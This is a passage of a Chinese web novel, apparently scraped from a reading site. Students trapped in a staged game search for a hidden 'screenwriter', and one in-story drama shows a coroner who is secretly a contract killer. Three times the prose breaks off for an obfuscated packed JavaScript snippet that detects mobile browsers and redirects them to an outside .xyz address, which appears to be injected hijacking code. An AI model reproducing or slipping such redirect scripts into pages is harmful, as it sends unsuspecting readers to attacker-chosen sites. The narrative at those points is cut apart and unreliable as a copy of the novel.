他当然也不会天真到认为可以十个人都团结起来。不过在舒觉和曲语冰的暗中推动(舒觉说:“加上你做的饭。”)下,他们至少把除了姜满、应如观和双胞胎以外的人都集中到一起了。 祝时明是从一开始就和他们在一起的。洛珠也很好拉拢,她看起来就是那种很容易被别人动摇的人,在舒觉的争取下加入他们也很正常。苏彦反而是最后一个决定和他们一起行动的,但他近期表现积极,让人很难生出戒心。 不过,没有谁能保证,他们之中就没有“编剧”存在。但至少现在,他不想怀疑任何人。那太疲惫了。 想起上一轮最后所有人互相攻讦的境况,乔木嗅到未来可能的硝烟。现在,他只能希望这一天不要到来。 即使他清楚这不可能。 “这个好好喝。是青柠檬吗?”洛珠轻声说。乔木抬起眼,“对。你舌头不错。” 曲语冰的吸管里漏出几声哧哧。他停止吞咽,笑着说:“舌头不错?真是个新颖的说法。学到了。” 乔木不想理他。舒觉端着杯子走到他和苏彦这边,看起来也是来吹空调的。她好像也是怕热的类型。 她脖子上照常绕着一条丝巾。这条似乎是薄纱材质,透气,不过她选了黑色,仍然看不见其中肌体。自他认识舒觉来,他从没见过她脖子上毫无装饰。 “话说你们有发现吗?公园里有个游泳池。”舒觉说。 闻言,苏彦惊讶道:“真的?那我要去体验体验。” 他转头,对乔木说:“要不要和我一起去玩一下?” 乔木要去拿杯子的手顿了一下。他注意到舒觉敏锐的视线,她把自己的杯子放到桌上,却并没有坐下,像是在准备着什么。 乔木先战术性用吸管吸了一口冷饮,润完嗓子,才回答那边满眼期待的人:“不了。我想在屋子里待着。” “哦,好吧。”苏彦说,倒也没有很失落,大概也是知道自己会被拒绝,“对了,我都忘记问了,你会游泳吗?” “小看谁啊?”乔木不大高兴地反问回去。苏彦愣了下,连忙摆手道:“不是,我完全没这意思啊!就是不会游泳的人不也挺多的吗……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467493|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我家那边的小学,不会游泳不给发毕业证的。”乔木说。他现在倒是觉得能理解了:苏彦是冀湖市长大的,老家还要更靠内地,两边都是内陆城市,会游泳的人当然不如他家乡多。 “这样吗!你是哪里人?”苏彦问。 “沣州市。” 在场没人应答。看来是没老乡。乔木无所谓地低下头,自从他考来冀湖大学,就经常面对这种情况:一个班里一个同乡人都没有。 “那不是很南方?怪不得人人都得学游泳。”舒觉适时开口。她坐下来,摆出一个看似闲适的姿势,“话说,有谁是不会游泳的吗?” 只有洛珠举了手。见自己孤零零一只手在那里,她脸微微红了,“我这学期才报上游泳课……抢的人太多了。” 这让洛珠越发不好意思起来,毕竟只有她一个人不会。乔木忽然想起一件事。他脱口而出,如同不说出,这段记忆就会消散:“我女朋友也不会游。” 这句话成功吸引了所有人的注意力。曲语冰说:“你有女朋友?” “没听你提过啊。”舒觉说。祝时明没说话,只是低下头去喝自己的饮料。 “我又不是和女生绝缘,当然有女朋友。”这理所当然的语气引得在场几个单身狗一阵牙酸,曲语冰连声道:“好好好,我们知道了,你有女朋友。” “我是不意外。”苏彦笑着说,“毕竟阿木这么帅,又会做饭,性格还很好,肯定很受女生欢迎。” 这一段评价成功让其余人沉默下来,包括乔木。祝时明不知什么时候回来的,他握着杯子,坐到舒觉旁边的沙发上。乔木没错过这一幕。 半晌,曲语冰开口,语气有点艰难:“啊,哈哈……你们关系真好。” “我倒觉得学长你这样的,更受女生欢迎吧?”舒觉向苏彦那方看去,“苏学长没有吗?” “有过。” 这个过去式显然吊足了众人胃口。苏彦也没打算瞒着,直接说:“不过前段时间分手了。她提的。” 这个答案又让大家发出一阵惊叹声。出乎乔木意料,祝时明开口问道:“可以问一下,是什么原因吗?” “她说我变了。”苏彦苦笑。 一片意义不明的感叹声飘过客厅。乔木很直接地说:“听起来很像腻了的另一种说法。” “感觉像敷衍。”舒觉也赞同。 祝时明没有发表任何评论。他看上去也不大像真的在好奇,反而有点……悲伤?乔木怀疑起自己观察的能力。 “不管是什么,反正就是,结束了。”苏彦摊了下手,他并没有特别难过,不过说这些话时,他的神色有些遗憾和惘然。像是一个认为自己犯了错,却不知道错在了哪里的孩子。 “她有说是哪里变了吗?”祝时明问。 乔木不禁又看了他一眼。这问题可不太礼貌。他不会自认为多了解祝时明,但也觉得他不像会这样做的人。 幸好苏彦没有生气或者回避,他反而认真思考起来:“其实这个问题,我当时也问了。” “我记得,她说的是:总觉得我像丢了什么,时不时就会走神,而且,很多小的习惯都变了,性格也和她之前认识的不同……她觉得很奇怪。”苏彦慢慢复述,“而且,有一段时间我……状态很不对劲。她觉得现在的我不适合继续恋爱。所以分手了。” 乔木几乎是一瞬间便与舒觉对上了目光。对方凝视他,无声地轻微点头。曲语冰并无动作,但他没笑,那样的神态,看上去甚至有些冷漠。 一时间,沉思的人沉思,不知所措的人不知所措,场间古怪地凝结起来,如同没搅开的面糊。祝时明忽然回头,叫了声:“应医生。” 14. 第 14 章 真没想到,他居然答应了这个赌约。 我自己都觉得没多少说服力,但他居然一口答应了。可能是因为这对他来说没损失吧。 不过还不能那么快开始。他说要等他结束正在进行的这几场演绎,再和我具体讨论。 他平等地重视每一场演绎,不论演员是谁,进展如何。 也只有他这样的……才能做得到完全公平吧。 不过,他告诉我,可以开始考虑演员人选了。 我已经想好了几个。既然这是一场赌局,那我就必须最大可能扩大自己的优势,否则,我没有任何能赢的信心。 毕竟,人是多变的。那个时候她说她一定会回来救我。他们都说了。但现在我能完全指望他们自己察觉这件事吗?显然不可能。 但这也不是他们的错。 硬要讨论,我也不知道是谁的错……但这里总有什么东西错了。 我觉得,这件事,一开始并不该是这样的。为什么变成这样了? 图书馆也许有资料。我得去查查看。 既然公平的原则贯彻始终,那想必他不会阻止我。资料也应当被存放在某个地方……我们之前还是忽略掉太多东西了。每一个地方都可能藏着真相的一角,但我们就这样错过了。 不过,我们尽力了。 他们活下来,走了出去。这就足够了。 现在,我要赢。 ***** “嗨。”应如观从他们身后走来,他穿着简单的T恤和牛仔裤,看上去几乎和他们像同龄人。几个人纷纷打起招呼,刚刚沉默的气氛就像一场错觉,轻易消失。 法医有点好奇地扫视他们一圈,说:“你们在聊什么?” “没有,我们在聊大学游泳课的事情啦。”舒觉反应最快,干脆地回到了更前的话题,“那个不是很难抢吗?我是从来没抢到过。” “不是,你都会游泳了,就让给其他不会游泳的人吧。”曲语冰接上去,他看看洛珠,大家都会意地笑起来。 “不过我没想到,会游泳的人那么多。”苏彦瞧瞧大家,“难道你们都是南方人?曲语冰那个巫陵市也算南了。” 在乔木这里,本省以北都叫北方,包括地理上确实在南北分界线南边的巫陵市。 然而,剩下三个人都表示,自己是冀湖市本地人,要不就是和苏彦一样从小在冀湖市长大,基本也能算作本地的。 “说到游泳,我就想到小时候被我姐摁到水里去的经历……这辈子不想再来一次了。”祝时明说,露出点一言难尽的表情,“就算为了这个,我也得把游泳学了。” “那你哥呢?”舒觉打趣道,“他就看着你被欺负?” “那时候他在上学啊。哪里知道这件事。”祝时明无奈说。他的杯子也喝空了,乔木对此很是满意。 “应先生会游泳吗?”舒觉在沙发上半转过身,手臂搭在靠背上,看向饶有兴趣听他们谈话的法医。 应如观忽然被点到,他眉毛扬了一下,说:“会。” “也是。应先生看上去像什么都会。”苏彦说。他大概也不太想和长辈聊自己的感情话题,对舒觉的话题改变并没有说什么。 “这就过奖了。”应如观微微笑起来,看上去很温和,“我不会的东西可多了。” “比如呢?”曲语冰机灵地随棍上。 应如观很是纵容地回答:“像做饭,我就没有乔木做得那么好。” “不是,乔木那个水平一般人都比不上吧。”舒觉吐槽道,“而且我上次看见应先生做的炒饭,感觉好吃得不得了。” “你想要的话,我下次可以做你的份。”应如观说。他看上去不像随口一说。 抢人顾客这事,乔木可不能忍,他立时直起身子,盯着舒觉,目光仿佛警告的黄灯。舒觉笑一笑,赶紧说:“那太不好意思了,我还是吃自己付过钱的饭吧。” 乔木靠回去。看得出来,一场厨房的战争在开始前被掐灭了硝烟。应如观正要上楼去,却被舒觉叫住了:“应先生,先别走。等会儿所有人都到齐了,我们有件事要说。” 应如观眨了下眼,说:“是找到了新线索吗?” 原来大招藏在这儿呢。乔木就说他们在这聊了半天是要干什么。舒觉点头,“是的。” 应如观便坐到苏彦对面的沙发上。几人再随意东拉西扯一会儿,姜满也从外面回来,再加上从楼上下来的双胞胎——原来他们在午睡——所有人便在客厅里聚齐了。 见状,舒觉推推洛珠。穿着及膝裙的女孩一惊,她从口袋里掏出一件物什,声音因为紧张有些尖细:“这、这个是我们找到的新线索。” “已经和‘幕后’确认过了。”她又补充一句。 所有人视线都汇聚到她的手心。那是一枚有些陈旧的警徽,刻着所属警局的部分已经被磨花,侧面有一道月牙形的磕痕。没有姓名的标识。 大概是受不了所有人注意力都集中在她身上,洛珠慌忙将那枚警徽放在桌子上,缩回了沙发里。看得出,刚刚那样在众人面前主动发言已经是她竭尽全力,再多不能。 “啊,这个是我的。”一段安静后,应如观主动开了口。他把警徽拿起来,仔细看了看,再确认地重复:“这个是我的。” “法医也需要佩戴警徽吗?”舒觉问。她看上去并不太相信应如观的说法——太迅速、太自然了,好像他根本不害怕这会让他与“编剧”牵扯在一起似的。 “平时戴工作证就好了,不过入职的时候有发过。”对方回答。姿态依然是坦坦荡荡,反而让人觉得,这条线索是个烟雾弹,他不会是那个背叛大家的人。 此刻,客厅内的气氛十分之诡异:大概任何人都没想到,第二条线索就这样被轻易地指认了。就像一碗猪油。乔木思索着,本以为要下锅热腾腾融化、爆炒火星飞溅了,结果却发现是冻回了冰箱,还是冷冰冰、凝固的一大碗,甚至泛着点不自然的光泽。 “呃……那就,结了?”祝时明看看四方,小心地提议。曲语冰敲敲手环,说:“没吧。不是还得和‘幕后’确认一下线索指向对象吗?” 在场没有哪个人,能光凭自己一张嘴就让其他所有人都相信自己。应如观自然也不例外,但信他的人并不少:毕竟年长成熟,给人可靠印象,也没做出任何可疑举动,实在让人难以怀疑。至少此间,似乎只有少数几个人比较赞同曲语冰的话。 “没必要吧。他都自己承认了,确认对象的机会还是留给其他含糊不清的线索更好。”姜满率先开口,她坐在舒觉对面的扶手椅上,后面趴着双胞胎,姐姐咬着嘴唇,弟弟一脸刚睡醒的茫然。 这确实是最合理的选择。就目前来说,舒觉也没有能反驳的证据,她在尝试最后一次努力:“这个警徽也挺重要的,还是多确认一下——” “还是留到后面备用吧。一共只有三次机会,我们得好好把握。”苏彦劝道。他沉默至今,方才一直在盯着那枚警徽看,神色凝重,即使是在应如观认领这条线索后也是如此。 没有根据的怀疑毫无力量。她只能沉默,让曲语冰的提议落于空处。 他们没有对视,但心里都在想:这结束得也太容易了。 “那就是说,应哥也有可能是‘编剧’,这样吗?”邹玉衡在沙发背后,恍若无知无觉地开口。他似乎完全没感受到现场凝固的氛围。 “傻瓜!这时候说这个,你还没睡醒吗!”他姐姐急急开腔,往弟弟脑袋上切了一掌。邹玉衡“嗷”了一声,揉揉脑袋,“我只是说,有这个可能嘛……我又不是怀疑应哥。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467494|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “没关系,玉衡说得也没有错。”应如观宽容地对邹摇光一笑,随后目光又落回众人之间,“虽然直接说自己不是挺牵强,但我的确与‘编剧’无关。之所以承认这条线索指向我,也只是不想浪费求证的机会,减少大家相互猜忌。” 一般人说这种话,不免带上几分冠冕堂皇的味道,但给他讲来,不知为何听着特别诚恳,让人难生不悦。看来,这条线索的推测,就到这里了。 “好吧,我还有一件事要说。”舒觉忽然开口,她从茶几上堆叠的几本书下面抽出那张旧报纸。乔木心头一跳,感到难以置信:她不会是要—— “第一条线索指向的,是我。”她干脆地道。 乔木几乎要控制不住站起身。他不清楚他们制定了什么计划,但肯定不包括这个。他当然相信舒觉。但其他人呢? 坐在众人中间的女孩点开手环,声音清晰:“‘幕后’。我是不是第一条线索的指向者?” “三号响应。确认:第一条线索【七日教会剪报】的指向者为,演员舒觉。” 没有什么证明比这更有说服力了。一时间,演员们表情各异,其中心思乔木难以猜明,但他想绝大多数不会是正面的。这个时候承认,和应如观的即刻认领又是不一样的效果。 但若论光明正大,她还要胜了法医一筹:她给出了认证。但这也彻底钉死了她是“编剧”的可能性。 “那就请你解释一下吧。”姜满说,“你是七日教会的成员?但按你的年龄来说,那个时候你才——十四岁?这不可能吧。” “还是说,你的年龄是骗人的?”她声音不大,但话语锋锐,直刺关键。乔木深深皱起眉头,如果有必要,他会站出来为舒觉辩护。 舒觉绝对、一定不可能是藏在背后,操纵他人生死的那个存在。 “确切来说,与七日教会有关的不是我,是我的姐姐。”舒觉毫无怯色,语调平稳有力。她说:“她是七日教会的受害者,也是警方的线人。” “她叫什么名字?” “恕我不能透露。姜小姐莫非是不太了解证人保护机制?这样重要的人物,就算是作为妹妹的我也不能随便和别人乱讲。”舒觉语调冷淡下去,显然不想多谈这个话题。 “她是受害者。”姜满沉吟着,“你的意思是——” “——她死了。”这句话简单地落在地上,摔碎的一瞬间,冻结了所有质询。舒觉抬起眼睛,此刻她的瞳孔既黑又深,仿佛将所有光芒都吸摄进入,却毫无反射,如同漆黑寒冷的海底。 所有人都被她的神情震住了。那里没有眼泪,怅痛却刻入骨髓,想要呐喊出来的前提,是将自己血肉骨头剖开。没有人能演出这样的姿态。 那是一场没有止境的悼亡。 姜满看上去无话可说。半晌,她才开口:“我很抱歉。” 舒觉沉默地点点头。她说:“还有人有问题吗?” 一片沉默。女孩站起身:“那么,失陪。” 她走上楼。其余人也散的散,留的留,各做各事去了。乔木看到祝时明还坐在那里,便说:“你要是想关心她就去吧。” 对方愣了一下,随后勉强笑笑,“这种时候,还是让她独处比较好。”他看上去也很疲惫,不知是出于什么原因。 按舒觉的性格来说,也许如此。乔木也不欲太插手他人间事,正要离开,便听到曲语冰说:“不过,如果是我的话,我会希望有人陪呢。” 祝时明摇摇头。这时候他反而分外肯定。一句话从他唇齿间漏出来,低如一声叹息,乔木没听清。 但那也不重要。他能做的,只是继续他们当初的安排,尝试找出一丝生机。 以及,解决他心中的困惑。 到底是什么,从他的生命中消失了? 15. 第 15 章 夜晚,舒觉坐在自己的房间里,面前改装过的笔记本外放,她缩脚坐在电脑椅上,正和屏幕里的人视频通话。不同的声音充斥房间,她只是盯着屏幕语音转录出的条条字句。 画面被平分成四格,两男两女的头像置于其中。有人的背景是自己卧室,正如舒觉;还有人是一片黑暗,不知道怎么做出来的特效;甚至有一个背面是瓷砖,声音回响放大,居然是在浴室里头,看得出正在泡澡。 泡澡的那位是个女生,她染了一头金黄的长发,在白炽灯光下分外闪耀,她语气悠闲地说:“然后呢,那个家伙就一句话都说不出来了!果然人渣就是没底气,给我骂两句就萎了。” “这种傻X真该灭绝。”左上角的男生骂道。他后面立着一面直通天花板的书柜,里面书籍随便堆叠在一起,感觉下一秒就要山崩了。他推推金边眼镜,语气危险:“你这位前男友最好不要让我遇见。” 五个人全笑了起来。当然,他们都清楚,这句话不止是一个威胁,陈颂风从不言而不行。实际上,如果真让他碰到那位前男友,对方最好提前预定几个月的病房。 两道银色的眼镜链细细挂在颊侧,衬得此人越发白皙俊秀。尽管如此,但他曾是他们队里最快最隐蔽的刀锋。现在他已不干这样的脏活,一心从良,正在苦读法律,以期能一举通过司法考试。 这是为了什么,每个人都心知肚明。 “小楠,这是你的第几位嘉宾来着?”另一个女生问,“我都有点算不清了。” “其实我也记不得。这玩意儿有什么好记的?你不如问问阿舒。”周楠幸说。她的目光转向自己屏幕上舒觉所在的格子,“阿舒,你肯定记得吧。算一下算一下!” 舒觉歪了下脑袋,“其实我也不记得了。” “啊——你骗人!你怎么会不记得!”周楠幸立刻指责她。舒觉大笑:“好好好,这是第十七个。” 无人质疑她的说法。毕竟,对于一个拥有超忆症的人来说,这种单纯计算问题不可能出错。 “我早说了,我们这种人谈恋爱就是自讨苦吃。”背景全黑的男生冷冷地说。他穿着一件大耳朵狗的睡衣,可爱风格和他脸上黑沉的表情完全不搭。在他去年生日,四个人分别送了他一件类似款式的睡衣,这之后不管他嘴上怎么骂,只要是晚上通话,他都会乖乖穿着。 “嗨嗨,吉喵,你这就太悲观了。人要积极!”周楠幸拍了下水面,掀起不小的浪花。大耳朵狗男生露出嫌弃的表情:“别叫我吉喵,傻瓜周。” “算啦,邵吉,你说不过她的。”另一个女生劝道。她梳着波波头短发,面容沉静,圆圆的鹿眼添上几分天真。但在看过她一拳打穿实木桌子后,想必不会再有人觉得她柔软无害。 “你也是,朱雲乐!你就在那纵着她吧!”邵吉根本不吃这一套,马上把炮火调转,嘴仗有俞演愈烈之势。 舒觉正打算稍微阻止一下(其实她觉得看这几个人斗嘴可好玩了),邵吉忽然叫了声她的名字。“喂,副队。” 女孩吓了一跳,还以为自己也要被他拉入辩论大战,却听到他说:“你的邮箱有新信息。” 这很正常,但被他提出来,一定是有什么不正常。邵吉说:“他在里面写了你的名字。真名。不是接委托那个网名。” “谁发过来的?”舒觉拧眉,其他人安静下来,邵吉那边传来高速打字声,“我在查。不过他有署名。” “乐天。你们认识?” ***** 晚饭后,苏彦听到舒觉在问:“泳池那边有人吗?我看灯还亮着。” 他们这一群人都还没上楼去,在客厅短暂交流情报过后,为了打发时间,他和乔木、祝时明、曲语冰玩起了飞行棋。 说实在的,在这里的日子,如果没有突然的演戏打扰,甚至称得上过于安逸。生活所需支付的点数相当之低,不管演的是差还是好,演一次戏就能支撑很久。而除了演戏之外,他们并没有非做不可的事情。如今在每个地方搜集情报也只是大海捞针,尝试找出一点别的可能。 而关于可以找出“编剧”的线索,目前还没有出现第三条。而对于舒觉和应如观,他又觉得没什么好怀疑的。那两条线索肯定是假的,是幕后凶手散布出来干扰他们的东西。 如果只是这样的话,之前参与的演员没理由出不去啊……苏彦想不太明白原因,只是隐隐嗅到未来的风暴。 现在回到舒觉的问题。苏彦想了想,回答她:“好像是应医生?他有说过想去游泳放松一下。” 舒觉站在那里,没有反应。乔木忽然手指在空气中点动几下,虽然动作很小,也放在不容易被看见的地方,但一看就知道是在用投影键盘打字。 更不幸的是,在场另外三个人似乎都视力绝佳。苏彦发誓他看见曲语冰瞥了一眼后嘴角露出微笑,随后他摇摇骰子,丢在棋盘中间。“五点。” 很好,现在他知道那是胜券在握的笑了。曲语冰拿起代表自己的棋子往前走了五格,刚好把乔木的棋子撞掉。现在他又要重头再来了。 乔木发完信息,视线一转向棋盘就看见自己挂了,下一轮也不能动。他倒也没什么不满的表情,只是很平静地说:“下一个轮到谁?” “我。”祝时明接过骰子,随手晃了几下就丢出去,三点,他往前走,正巧那边舒觉提高声音喊道:“我知道了,多谢。”随后便是一声关门声。 祝时明走到那个格子,底下抽屉“啪”一下弹出,里面放着的圆币上写着:“真心话时间到!左手边的人可以随意问走到这个格子的人一个问题。” 坐在他左边的是乔木。乔木眼神扫过那张纸条,随口问道:“喜欢的女生类型是什么样的?” 曲语冰立刻“芜湖”一声。苏彦也颇有兴趣地竖起耳朵,毕竟祝时明并不经常聊起自己的事,他们所知道的都是比较基础的信息:医学生、有一个哥哥和一个姐姐、冀湖市本地人。 这个真心话飞行棋是曲语冰提议的,说是要加深大家互相的了解和感情,但明显这只是出于他自己的趣味。他卡在晚饭后掏出那个棋盘,就是要把他们一网打尽。 苏彦不觉得自己有什么秘密要藏,很是坦坦荡荡地加入;祝时明是几乎不拒绝他人的老好人,曲语冰多磨两句便也应下;最让人意外的是乔木,他居然也同意了。他看起来不像那种愿意聊自己私事的人。 祝时明“呃”了一声,“不是,怎么是你问这种问题?” “我有什么问题?” “不,也不是。”踩中格子的人叹一口气,有点不情愿地说,“也没什么类型不类型的……硬要说,可能对笑起来好看的女孩子比较容易有好感?” “这也太短了吧。再多说点?”曲语冰笑着为难他。 “又不是你提问。”祝时明说,将求助的目光投向乔木。 然而,他们的厨神背叛了他的希望。“我也觉得这太简单了。之前被问到的人都至少说了一件完整的事,你至少也得说这么多。” 乔木这样说,不和他目光接触。这挺神奇,苏彦还以为乔木很不待见曲语冰,会和他唱反调呢。 祝时明眼神像是约好了一起裸考却被同伴复习背刺的可怜人。半晌,他说:“……好吧。我喜欢年下,个头比较小,看起来比较性感的那种。英语好最好了,可以辅导我,我英文真的很差。性格的话,会撒娇、闹小脾气都很好,我比较喜欢有矛盾能说出来不是自己藏着的,我真猜不出来。而且我很不擅长冷战,不用半小时我就低头了。所以希望能有话好好说出来。” “也就是说,你喜欢傲娇萝莉。”曲语冰总结。乔木啧了一声:“你不概括也没人听不懂。” 祝时明长长叹出一口气:“这就是为什么我不想说得更详细。” 毕竟,不管他说什么,大概都会被曲语冰扭曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467495|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后风评被害吧。苏彦不由对他有点同情,之前他在分享高中趣事的时候也被曲语冰这么对待了。 他说:“那就这样吧。下一个是我。” 说着,他抛了骰子。这次他没踩中真心话格子,苏彦松了口气。他可不想再被问“高中时期经历过最尴尬的时刻是什么”这样的问题了。 就这样风平浪静地过了几轮(其间曲语冰踩中了大冒险,现场模仿猫咪展腰,筋骨是钻石硬度的版本),祝时明忽然问:“刚刚是舒觉出去了吗?” 他背对着门口,确实没看见。苏彦说:“是啊。应该是想去游泳吧。” “游泳?”祝时明重复一遍,语调有点茫然。 “是啊,游泳哦。在一个无人相扰、月色正好的夜晚,孤男寡女,在浪漫的泳池里,真好奇会有什么样的展开呢。”曲语冰语气悠悠,但怎么听都感觉他期待的不是这个。 “什……” “的确,这么晚也不会再有人过去。我去看过,那个泳池是露天的,景色很好。”乔木把自己的棋子往前移动,一边说。 苏彦左右环顾,怀疑自己是否也得说点什么。为什么他觉得这两个人都在干同一件事?不不不乔木怎会如此,肯定是他的错觉。 “话说回来,舒觉好像没有男朋友吧?挺意外的,她这么漂亮。”曲语冰又说。 “应医生也是一表人才。他似乎说过目前单身。”乔木把骰子放到祝时明面前,“到你了。” 祝时明面色变动不停,苏彦感觉自己在他脸上看见了一场亚热带风暴从发生到结束的全过程,是真正的风云变幻。 还不等他感叹人的面部肌肉居然可以表达出这么多种意思,祝时明猛地起身,差点撞翻摆在他们中间的棋盘,转头就往外走。 一声关门后,他们听到外面道路上鞋子重重踏下的奔跑声。曲语冰把骰子拿过去,“看来,我们中确实有个人陷入了迷恋啊。” 他唇角带笑,“合作愉快,乔大厨。” 乔木并无特别神色,仿佛刚刚帮着煽风点火的人不是他,“差不多吧。看来,他刚刚的理想型果然是胡扯。” “那倒不一定。人真正会喜欢上的对象不一定和自己理想型完全重合吧,不如说是一定不可能。”苏彦为祝时明辩解两句,心中怜悯这位被戏弄的可怜人。 “我之前是不信一见钟情的,现在是不得不信了。”曲语冰说,他把祝时明的棋子拿走,其余两人都没反对。 “我是半信半不信吧。阿木呢?”苏彦的棋子刚好踩到特殊格子,可以问下一个玩家一个问题。他说:“那就这个吧。你相信一见钟情吗?” 乔木平淡地说:“信啊。” “真的?你看起来不像会信的。” “我对我女朋友就是一见钟情。所以我信。”他说。曲语冰一脸被秀到恩爱的表情,苏彦则笑着说:“真浪漫。” “一开始我也没意识到。但等到我真正察觉到自己喜欢上她的时候,才发现从一开始我就一直在看着她了。” 能够面不改色说出这样的内容也是乔木此人的一个特技。苏彦一边在心里感慨年轻真好,一边说:“那我们继续?” “好啊。反正我没事。况且我很想看看他们回来之后的表情,肯定很有趣——”曲语冰伸了个懒腰,说道。乔木也点了点头。 “顺便说,乔木你女朋友长什么样?你会喜欢什么样的女孩子,我还挺好奇的。”苏彦问他。 这要是曲语冰问的,乔木铁定不会回答。但他对苏彦观感不错,遂决定形容一二:“就是……” 他忽然住口,眉毛打成结。苏彦以为他是不想回答,忙笑道:“不想说也没事,反正也没到真心话格子。” 乔木“嗯”了一声,然而表情并不松快多少,他似乎陷入某种思绪中。这段小插曲并未引起任何人的注意,游戏继续快快活活地进行下去,直到门再度被推开。 16. 第 16 章 冀湖大学城,“青云得路”咖啡厅。 曲语冰坐在店外的露台上。他面前放着一杯打满奶油、奶沫都快要溢出来的拿铁,还能看到里面有几块焦糖在冰块间上下沉浮。 他的头发相当蓬乱,好像刚睡醒没多久,但现在已经是下午五点了。T恤也有些皱,短裤下露出两截修长小腿,还有一双老人拖鞋。他基本就像刚从床上被拽起来,扔到这家典雅的咖啡厅里。 周围自习或聊天的学生很多,他一个人坐在那里什么也不干,稍显突兀。 他甚至没有用手环播点视频或者打游戏。这人就坐在那里,陷进软和的豆袋沙发里,面前咖啡开始融化,一抹一抹白色痕迹顺着玻璃杯身流下来。 他晃了一下手环,一组数字弹到他面前,随后又消散。很快要到约定的时间了。他可是特意早到了不少,平时他可从来不做这种事。 当然,也是因为会约他出来的人少之又少——不过现在,他等的人也未必能称作“朋友”。至少曲语冰认为,他们并没有经历正常交友的一系列流程,也一段时间没有再联系,这应该不是一般朋友的相处方式。 不过,他也没什么朋友,所以什么样的关系才能叫友谊,他也说不上来。曲语冰往杯子里插进一根吸管,终于纡尊降贵般吸了几口,喃喃道:“有点苦啊。” “我建议你点奶茶。”清凌凌的声音飞来,曲语冰唇角含笑,侧头望去,他等候多时的人踏着太阳落下的影子走来。女孩身穿立领无袖条纹衬衫,脖子上是一个简单的丝绒环带,下身是卷起脚边的浅蓝色牛仔裤。 她拎着一个珠串小包,曲语冰不禁开始思考那是否是某种可拆卸的武器,比如说可以拿那对珠子打人眼睛什么的。 她坐到他对面,手环连接店家点餐入口后,在浮现光幕上快速滑动几下,点了份简餐。 曲语冰看她把小包放到旁边椅子上,开口时语调轻佻:“好久不见,小舒舒~” “你再这样叫我,我会把那杯咖啡泼到你脸上。”舒觉口气随意地说。然而曲语冰清楚她真做得出来。 他决定改口,旁边店员过来给舒觉上了一杯柠檬水,他便暂时住口。舒觉举起杯子,喝了一口,盯过来。 她开口,声音很平静:“我没想到你能那么快找到我。” 曲语冰微笑着抬起视线,与她对上。在不修边幅的外貌、凌乱随意的姿态下,那两点瞳仁却是锐如寒星,锋芒难挡。 “——乐天。” 【剧目:白日堂皇】 【演员:应如观】 男人正在处理一具尸体。这场面原本可能很惊悚,但当尸体放在手术台上,四周灯泡明亮得晃眼,旁边还放着尸检单时,就并没有那么吓人了。对剧中的男人来说,这只是一项工作,他该履行的职责。 “好可惜的女孩子。才这么小,就……”他感叹,语调带着些悲伤,尾音轻柔地散在冷气里。应如观放下解剖器械,开始在电脑上录入尸检报告。 大体完成后,他备注了一句:受害人颈后芯片在死后被剥离,目前不知去向,或许仍有保存她生前身体状况的记录。剥离手法专业,凶手可能为医生或常用刀具的从业者。 时针指向六点。他脱下白大褂,拎包下班。镜头跟随着他从公安局门口一直到某条小路,他淡然自若走进那条不见光的胡同。 轻微的破空声自身后袭来,应如观看似随意地迈出一步,却恰好躲开寒光锐利的刀锋。下一秒,他遽然旋身,袖口弹出利刃,一下割开对方颈动脉! 鲜血泼洒而出,如雨似雾。应如观侧在一边,避开了喷溅的艳红,他在死者衣服上将刀擦干净,从小巷的另一边离开,徒留后方一具倒毙的尸体。 他刚迈出小路的片刻,便有电话拨打进来。他接通,对面说:“东西到手了吗?” “一直在我这里。”应如观回答。他的面容仍是那样沉静,甚至眉心红痣为他点上一抹慈悲,谁也想不到他刚刚让另一个人血溅三尺。 “很好。有个新委托,你有兴趣吗?” “具体情况是?” “一个女孩。” “我不接这种委托。” “听我说完。我没叫你杀她,不过她脑子里有份对我们来说很重要的情报,你把这份情报挖出来就行。” “太麻烦,不接。” “接了这个,你欠我们的债就一笔勾销。” 这句话后,应如观沉默良久。直到他走进家中,四周无人,他才说:“资料发过来。” 另一边满意地挂断了。应如观手机“叮”一声,邮箱收到了新的邮件。 他点开文件夹。第一页上写着目标的名字:徐青木。 照片里的女孩微微侧脸,看向镜头,眼神冷漠。那赫然是舒觉的脸。 “应医生演技好厉害。”应如观一出演绎,便听到舒觉赞叹。剧里要扮演他的目标的女孩坐在沙发上,显然刚刚一直在看他的表演。 “没有的事,不过是这个角色和我比较像而已。”应如观说。 舒觉作恍然大悟状:“的确,他也是个法医呢。话说后面您把人干掉那里,好帅啊!” 应如观笑笑,不多做解释。舒觉继续感叹:“不过这个角色,不是您还真难演得了。需要的专业手法太多了。” 